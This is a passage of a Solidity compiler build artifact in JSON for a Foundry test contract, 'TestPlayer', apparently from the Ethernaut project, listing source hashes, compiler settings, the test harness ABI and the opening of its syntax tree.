dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/metrics/Player.t.sol\":{\"keccak256\":\"0x767a339ecc6dbfa81fa6154899ad582a64eb2da1af7aadceb95cb166341643b9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://961c9ba14951d03843e79f43fd2351bf92e4b430fc6b81cfcc5903ee27b34297\",\"dweb:/ipfs/QmPYmJ27TmiacCg9UxDJQDWG8XR9kAfAD6DuTjAsFm3ZPr\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testLevel"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testLevel()":{"notice":"Add new level factory."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/metrics/Player.t.sol":"TestPlayer"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/metrics/Player.t.sol":{"keccak256":"0x767a339ecc6dbfa81fa6154899ad582a64eb2da1af7aadceb95cb166341643b9","urls":["bzz-raw://961c9ba14951d03843e79f43fd2351bf92e4b430fc6b81cfcc5903ee27b34297","dweb:/ipfs/QmPYmJ27TmiacCg9UxDJQDWG8XR9kAfAD6DuTjAsFm3ZPr"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/metrics/Player.t.sol","id":66340,"exportedSymbols":{"Statistics":[56450],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestPlayer":[66339],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:5102:153","nodes":[{"id":65891,"nodeType":"PragmaDirective","src":"32:23:153","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":65892,"nodeType":"ImportDirective","src":"57:28:153","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":66340,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":65894,"nodeType":"ImportDirective","src":"86:43:153","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":66340,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":65893,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:153","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":65896,"nodeType":"ImportDirective","src":"131:54:153","nodes":[],"absolutePath":"src/metrics/Statistics.sol","file":"src/metrics/Statistics.sol","nameLocation":"-1:-1:-1","scope":66340,"sourceUnit":56451,"symbolAliases":[{"foreign":{"id":65895,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"139:10:153","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":66339,"nodeType":"ContractDefinition","src":"187:4946:153","nodes":[{"id":65901,"nodeType":"VariableDeclaration","src":"221:16:153","nodes":[],"constant":false,"mutability":"mutable","name":"stats","nameLocation":"232:5:153","scope":66339,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract 